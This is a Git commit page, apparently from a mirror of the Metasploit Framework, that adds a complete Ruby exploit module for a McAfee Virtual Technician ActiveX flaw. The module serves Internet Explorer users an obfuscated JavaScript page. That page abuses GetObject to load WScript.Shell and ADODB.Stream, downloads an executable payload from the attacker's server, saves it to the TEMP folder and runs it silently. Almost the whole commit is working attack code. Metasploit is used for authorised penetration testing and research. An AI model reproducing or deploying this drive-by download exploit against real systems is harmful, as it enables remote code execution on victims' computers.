infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Add McAfee Virtual Technician ActiveX MVTControl vulnerability

unstable
sinn3r 2012-04-30 16:23:52 -05:00
parent fd2e4c12a2
commit 5fec29e6b7
1 changed files with 119 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

119
modules/exploits/windows/browser/mcafee_mvt_exec.rb Normal file
View File

@ -0,0 +1,119 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject Vulnerability",
'Description' => %q{
This modules exploits a vulnerability found in McAfee Virtual Technician's
MVTControl. This ActiveX control can be abused by using the GetObject() function
to load additional unsafe classes such as WScript.Shell, therefore allowing remote
code execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod', #Initial discovery, Poc
'sinn3r' #Metasploit
],
'References' =>
[
[ 'EDB', '18805' ]
],
'Payload' =>
{
'BadChars' => "\x00",
},
'DefaultOptions' =>
{
'ExitFunction' => "none",
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Apr 30 2012",
'DefaultTarget' => 0))
end
def exploit
@payload_name = rand_text_alpha(rand(6) + 5) + ".exe"
super
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
if agent !~ /MSIE \d/
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end
if request.uri =~ /\.exe$/
return if ((p=regenerate_payload(cli))==nil)
data = generate_payload_exe({:code=>p.encoded})
print_status("Sending payload")
send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
return
end
# <object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj'></object>
js = <<-JS
var obj = new ActiveXObject("MVT.MVTControl.6300");
var ws = obj.GetObject("WScript.Shell");
var ado = obj.GetObject("ADODB.Stream");
var e = ws.Environment("Process");
var url = document.location + "/#{@payload_name}";
var tmp = e.Item("TEMP") + "\\\\#{@payload_name}";
var xml = new ActiveXObject("Microsoft.XMLHTTP");
xml.open("GET", url, false);
xml.send(null);
res = xml.responseBody;
ado.Type = 1;
ado.Mode = 3;
ado.Open();
ado.Write(res);
ado.SaveToFile(tmp);
ws.Run(tmp, 0);
JS
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
html = <<-EOS
<html>
<head>
</head>
<body>
<script defer=defer>
#{js}
</script>
</body>
</html>
EOS
print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end